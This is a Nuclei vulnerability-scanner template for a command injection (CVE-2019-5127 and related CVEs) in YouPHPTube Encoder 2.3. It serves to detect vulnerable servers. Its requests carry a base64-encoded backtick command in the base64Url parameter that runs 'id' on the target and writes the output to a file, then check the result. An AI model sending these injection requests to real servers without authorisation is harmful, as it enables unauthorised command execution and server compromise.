id: CVE-2019-5127

info:
  name: YouPHPTube Encoder 2.3 - Remote Command Injection
  author: pikpikcu
  severity: critical
  description: "YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php."
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2019-0917
    - https://nvd.nist.gov/vuln/detail/CVE-2019-5127
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-5127
    cwe-id: CWE-78
  tags: cve,cve2019,rce

requests:
  - method: GET
    path:
      - "{{BaseURL}}/objects/getImage.php?base64Url=YGlkID4gbnVjbGVpLnR4dGA=&format=png" # CVE-2019-5127
      - "{{BaseURL}}/objects/getImageMP4.php?base64Url=YGlkID4gbnVjbGVpLnR4dGA=&format=jpg" # CVE-2019-5128
      - "{{BaseURL}}/objects/getSpiritsFromVideo.php?base64Url=YGlkID4gbnVjbGVpLnR4dGA=&format=jpg" # CVE-2019-5129
    headers:
      Content-Type: application/x-www-form-urlencoded
  - method: GET
    path:
      - "{{BaseURL}}/objects/nuclei.txt"
    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "uid="
          - "gid="
          - "groups="
        condition: and
        part: body

      - type: word
        words:
          - text/plain
        part: header

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/05/03